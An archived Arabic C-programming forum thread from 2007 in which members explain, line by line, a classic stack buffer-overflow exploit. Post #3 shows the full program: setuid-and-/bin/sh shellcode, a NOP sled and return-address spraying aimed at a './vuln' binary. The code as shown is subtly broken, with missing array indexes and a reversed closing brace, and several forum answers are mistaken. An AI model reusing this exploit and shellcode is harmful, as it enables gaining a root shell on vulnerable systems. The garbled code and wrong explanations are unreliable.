الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

مناقشة:حول الدوال اللتي تتعامل مع الذاكرة والمكدس << نبي الكل يفيد ويستفيد ((للجادين فقط))

مغلق
بدأه n3rd في 4 يناير 2007 · 6 رد · 664 مشاهدة · في لغة C و ++C
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

حاب أبدأ بنقاش جدي << أعتقد إنكم شفتوا بعض مواضيعي اللي في القسم ومالقيت لها جواب :angry:

أنا هالحين فاتح موضوع أتمنى من الكل أن يدلو بدلوه << أتمنى عدم وضع روابط....اللي تعرفه(اللي في راسك) طلعوه هنا

خلونا نتفنن في الإجابات عن الموضوع << عموما أنا لم أواجه تقصير منكم أنا مستواي إرتفع في السي بفضل الله ثم إنتم

ودايما تساعدوني في الخروج من المشكلات اللتي تواجهنى وأتمنى إنكم تساعدوني في هذا الموضوع لكي يكون مرجع لي ومرجع لإخواني الصغار في المستقبل :wacko:

نبدأ وندخل في الموضوع وعلى بركة الله: :)

س:

unsigned long sp(void)		 // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointer

مالذي حدث هنا؟أنا أعلم إنه يستخدم لإعادة مؤشر المكدس << ولكن مالذي حدث؟كيف؟مالذي تغير؟ << لو تركتوه عادي لإنه كود إسمبلي لكن اللي يعرف لايقصر

س:

   offset = 0;			// Use an offset of 0

لماذا تم تعيين الأوفسيت بالقيمة 0؟ :wacko: << لو جعلته 10 مالذي سيحدث؟

س:

   esp = sp();			// Put the current stack pointer into esp

معروف ولكن اللي مو معروف هو:

   ret = esp - offset;	// We want to overwrite the ret address

طبعا العملية هنا عملية طرح وذلك لإخراج عنوان العودة....صحيح؟ << ليه جعلنا العملية (جمع)؟ وكيف نطلع عنوان العودة ألا تختلف من جهاز إلى جهاز؟

س:

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("	Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

هذه واضحة ولا غبار عليها << إذا تبوني أفتح موضوع واشرحها لكم أنا مستعد :D

س:

// Allocate 600 bytes for buffer (on the heap)
buffer = malloc(600);

هذه إنتم شرحتوها لي وقلتوا لي إنهم بمثابة new في السي++ وفهمتها وأعتقد إنها حجزت مساحة 600 بايت في الـHeap? << كلامي صحيح؟وما مرادف Heap في العربية؟

س:

ptr = buffer;

أعتقد هنا إنه المؤشر ptr يؤشر على المساحة اللي تم حجزها بواسطة الدالة malloc << صحيح؟

س:

addr_ptr = (long *) ptr;

الجملة اللتي على يمين الـ(=) لم أفهمها فماذا تعمل؟وأخيرا ماهي القيمة اللتي ستسند للـaddr_ptr

س:

for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

هذا أصعب شي واجهني في الدنيا كلها :( قعدت أناظر فيها ربع ساعة وماني فاهم شي :angry:

س:

// Fill the first 200 bytes of the buffer with NOP instructions

for(i=0; i < 200; i++)

{ buffer = '\x90'; }

هذه فاهمها ولله الحمد << يحجز nop من أول 200 بايت للبفر

س:

// Put the shellcode after the NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode; }

هذه الحمدلله أيضا فاهمها هي تقوم بوضع الشل كود حبة حبة(بايت بايت عن طريق التكرار for) << صحيح؟

ولكن لازلت أضع علامة إستفهام على هذا السطر:

{ *(ptr++) = shellcode; }

س:

// End the string
buffer[600-1] = 0;

مكتوب (End the string) << بس لم أفهم ؟ :unsure:

ولماذا 600-1 وليس 600+1؟ << ماني عبيط ولكن أريد أن أعرف الحكمة من عملية الطرح

س:

execl("./vuln", "vuln", buffer, 0);

هذه عارفها ولو تبوني أشرحها ... أشرحها لكم عادي << لازم تثبتون موضوعي

س:

free(buffer);

الحمدلله عارفها أيضا وهي بمعنى delete وأعتقد إنها لتحرير الذاكرة اللتي حجزناها B) << خطير صح؟

طبعا أبي مناقشة جامدة ياشباب (h)

لإني صراحة طفشت وأنا كل دقيقة منزل موضوع ماحد يرد <_<

فقلت خليني أعمل مناقشة << مناقشة حلوة وانا راح أناقشكم باللي عنده لإنه أغلب الكتب العربية في النت ماتكلمت عن الـmalloc

عموما ,,, أنا عارف أغلبكم راح يشرك ويجاوب لإنكم ماتقصرون والله :rolleyes:

ومشكور مقدما -waf

#2
The_Sniper كتب:
بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

حاب أبدأ بنقاش جدي << أعتقد إنكم شفتوا بعض مواضيعي اللي في القسم ومالقيت لها جواب

أنا هالحين فاتح موضوع أتمنى من الكل أن يدلو بدلوه << أتمنى عدم وضع روابط....اللي تعرفه(اللي في راسك) طلعوه هنا

خلونا نتفنن في الإجابات عن الموضوع << عموما أنا لم أواجه تقصير منكم أنا مستواي إرتفع في السي بفضل الله ثم إنتم

ودايما تساعدوني في الخروج من المشكلات اللتي تواجهنى وأتمنى إنكم تساعدوني في هذا الموضوع لكي يكون مرجع لي ومرجع لإخواني الصغار في المستقبل

نبدأ وندخل في الموضوع وعلى بركة الله

س:

unsigned long sp(void)		 // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointer

مالذي حدث هنا؟أنا أعلم إنه يستخدم لإعادة مؤشر المكدس << ولكن مالذي حدث؟كيف؟مالذي تغير؟ << لو تركتوه عادي لإنه كود إسمبلي لكن اللي يعرف لايقصر

أنت قلت (لو تركتوه عادي لإنه كود إسمبلي )

س:

   offset = 0;			// Use an offset of 0

لماذا تم تعيين الأوفسيت بالقيمة 0؟ :wacko: << لو جعلته 10 مالذي سيحدث؟

أنت موضحتش أكتب الكود كامل اللى ظهر فيه الأمر ده هل هو تم تعريفه على أنه متغير أم أعتبر وقفة لكى يقرأ من أول العنوان

س:

   esp = sp();			// Put the current stack pointer into esp

معروف ولكن اللي مو معروف هو:

   ret = esp - offset;	// We want to overwrite the ret address

طبعا العملية هنا عملية طرح وذلك لإخراج عنوان العودة....صحيح؟ << ليه جعلنا العملية (جمع)؟ وكيف نطلع عنوان العودة ألا تختلف من جهاز إلى جهاز؟

ذى ما قلت فى الأعلى وضح وبأذن الله أفهمهالك أنا أو أعضاء المنتدى

س:

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("	Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

هذه واضحة ولا غبار عليها << إذا تبوني أفتح موضوع واشرحها لكم أنا مستعد

:D

س:

// Allocate 600 bytes for buffer (on the heap)
buffer = malloc(600);

هذه إنتم شرحتوها لي وقلتوا لي إنهم بمثابة new في السي++ وفهمتها وأعتقد إنها حجزت مساحة 600 بايت في الـHeap? << كلامي صحيح؟وما مرادف Heap في العربية؟

تمام أديك أنت قلت ولكن بصراحة مرادف heap بالعربى لا أعرف ولكن أنت أستنتنتجها من معناها ووظيفتها

س:

ptr = buffer;

أعتقد هنا إنه المؤشر ptr يؤشر على المساحة اللي تم حجزها بواسطة الدالة malloc << صحيح؟

هذا صحيح وهذا لأستخدامه فى ال EXPLOIT

س:

addr_ptr = (long *) ptr;

الجملة اللتي على يمين الـ(=) لم أفهمها فماذا تعمل؟وأخيرا ماهي القيمة اللتي ستسند للـ

addr_ptr

هي هتسند قيمة المؤشر ptr ولكن من نوع long أى عدد صحيح مضاعف للمؤشر addr_ptr

س:

for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

أنا بصراحة مش عارف فائدة ++ هنا وحاولت أجربها لأفهم عملها يطلعلى رسالة خطأ تدل على أنى دخلت منطقة خطرة ويستحيل عمل البرنامج فيها

هذا أصعب شي واجهني في الدنيا كلها :( قعدت أناظر فيها ربع ساعة وماني فاهم شي :angry:

س:

// Fill the first 200 bytes of the buffer with NOP instructions

for(i=0; i < 200; i++)

{ buffer = '\x90'; }

هذه فاهمها ولله الحمد << يحجز nop من أول 200 بايت للبفر

هنا أول 200 بايت من ال Buffer تحمل أو تضاف مع توجيهات ال Nop وأوامره

س:

// Put the shellcode after the NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode; }

هذه الحمدلله أيضا فاهمها هي تقوم بوضع الشل كود حبة حبة(بايت بايت عن طريق التكرار for) << صحيح؟

هنا بيضيف ال shellcods بعد تنفيذ Nop وأوامره وتصريحاته

ولكن لازلت أضع علامة إستفهام على هذا السطر:

{ *(ptr++) = shellcode; }

كما قلت فى الأعلى

س:

// End the string
buffer[600-1] = 0;

مكتوب (End the string) << بس لم أفهم ؟ :unsure:

ولماذا 600-1 وليس 600+1؟ << ماني عبيط ولكن أريد أن أعرف الحكمة من عملية الطرح

المفروض تحط رابط الموقع اللى لقيت فى الكود لكن لو كان Buffer مصفوفة حروف فأن مصفوفة الحروف تحجز أول حروفها الصفر فهنا يتخلص من العدد غير المستفاد به وهو الصفر ولكن من الأفضل تحط الرابط علشان توضح الرؤية

س:

execl("./vuln", "vuln", buffer, 0);

هذه عارفها ولو تبوني أشرحها ... أشرحها لكم عادي << لازم تثبتون موضوعي

:blink: :D

س:

free(buffer);

الحمدلله عارفها أيضا وهي بمعنى delete وأعتقد إنها لتحرير الذاكرة اللتي حجزناها B) << خطير صح؟

لا تعنى delete ولكن هى فعلا لتحرير الذاكرة :P

طبعا أبي مناقشة جامدة ياشباب (h)

أتفضل فوق ;)

لإني صراحة طفشت وأنا كل دقيقة منزل موضوع ماحد يرد <_<

معلش أصل قسم السى مهجور والريادة الأيام ديه لمنتدى ال vb :angry: بس برضه كلنا أخوة مش مهم :D

فقلت خليني أعمل مناقشة << مناقشة حلوة وانا راح أناقشكم باللي عنده لإنه أغلب الكتب العربية في النت ماتكلمت عن الـmalloc

عموما ,,, أنا عارف أغلبكم راح يشرك ويجاوب لإنكم ماتقصرون والله :rolleyes:

أعذرنى لو كنت قصرت :(

ومشكور مقدما -waf

أرجو أن أكون فدتك

سلام

تم تعديل هذه المشاركة بواسطة say say not know في 4 يناير 2007 في 20:20

befor any great jop there is a bad jop had done

#3

ماتقصر والله

ولكن توجد هناك بعض الأسئلة اللتي لم تجاوبوني عليها ويعود السبب إلى عدم وجود الكود

هذا هو الكود:

#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)		 // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointer

int main(int argc, char *argv[])
{
   int i, offset;
   long esp, ret, *addr_ptr;
   char *buffer, *ptr;

   offset = 0;			// Use an offset of 0
   esp = sp();			// Put the current stack pointer into esp
   ret = esp - offset;	// We want to overwrite the ret address

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("	Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)
buffer = malloc(600);

// Fill the entire buffer with the desired ret address
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

// Fill the first 200 bytes of the buffer with NOP instructions
for(i=0; i < 200; i++)
{ buffer = '\x90'; }

// Put the shellcode after the NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode; }

// End the string
buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
execl("./vuln", "vuln", buffer, 0);

// Free the buffer memory
free(buffer);

   return 0;
{

ويلا راح أبدأ معاكم ولكن خلوني أشوف اللي في راسكم :)

#4

السلام عليكم ورحمة الله وبركاته

أخى فعلا كان بودى مساعدتك لكن البرنامج تحول مساره من كونه برنامج بلغة السى إلى برنامج بلغة التجميع فأنه يعتمد على المسجلات والتنقل بينها فأمرين من لغة التجميع أكفوه البرنامج ليصبح برنامج لغة تجميع ولكن أخى فعلا أذا كنت جادا فى هذه المناقشة فضع برنامج بلغة السى أو أكثر لا تعمل أوامر لغة التجميع على تغير مساره وبأذن الله سوف أكون أول مشارك بهذه المناقشة

سلام

befor any great jop there is a bad jop had done

#5

واضح انك تريد ان تكتب Exploit ..انصحك بدراسة المؤشرات اكثر من ذلك.

buffer[600-1] = 0;

كل سلسة حرفية String يجب ان تنتهي بال null او 0 ، و انت حاجز من 0 الي 559 اي 600 يعني 600 -1 يجب ان يكون بصفر لتشير ان السلسة الحرفية انتهت و انت حاجز لها buffer كمصفوفة كما اري .

for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode; }

تعمل حلقة دوارة من صفر الي طول الshell code الذي تريد تنفيذه ، و في كل مرة عناصر المصفوفة shell code تُسند الي المؤشر ptr و يزداد كل مرة بحجم char ان كان بايتان او بايت علي حسب النظام .

unsigned long sp(void)		 // This is just a little function
{ __asm__("movl %esp, %eax");}

هنا استخدمنا الكلمة المحجوزة asm ـ و قمنا بجلب عنوان مؤشر المكدس و هو من نوع unsigned long .

ثم حجزت buffer او وعاء من 600 عنصر .

BEng , Electronics and communications.

Embedded systems engineer.

Graphics Programmer

عالم الكومبيوتر هو من لديه المعرفة في علوم الكومبيوتر ، الرياضيات ، هندسة الالكترونيات -احمد صالح

#6

السلام عليكم ورحمة الله وبركاته

أخى احمد صالح فى السؤال الأول لو لاحظت ال Buffer إعلن عنها على أنها مؤشر وليست مصفوفة ومن ثم أسند إليها قيمة من ال heap فتم التعامل معها على أنها مؤشر يحمل القيمة التى أشرت عليها حبيت أوضح هذه النقطة لأنى كنت نفسى وقعت فيها حين شوفت الكود لأول مره بغير ما شوف الكود كامل

أرجو أن أكون وضحت هذه النقطة

سلام

befor any great jop there is a bad jop had done

#7

اي والله المؤشرات جدا مهمة والحمدلله فخمت :D

أخوكم خالد وش رايكم نتكلم عن دوال التعامل مع الذاكرة ها؟ منتظرين ارائكم؟

هذا الموضوع مغلق.

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…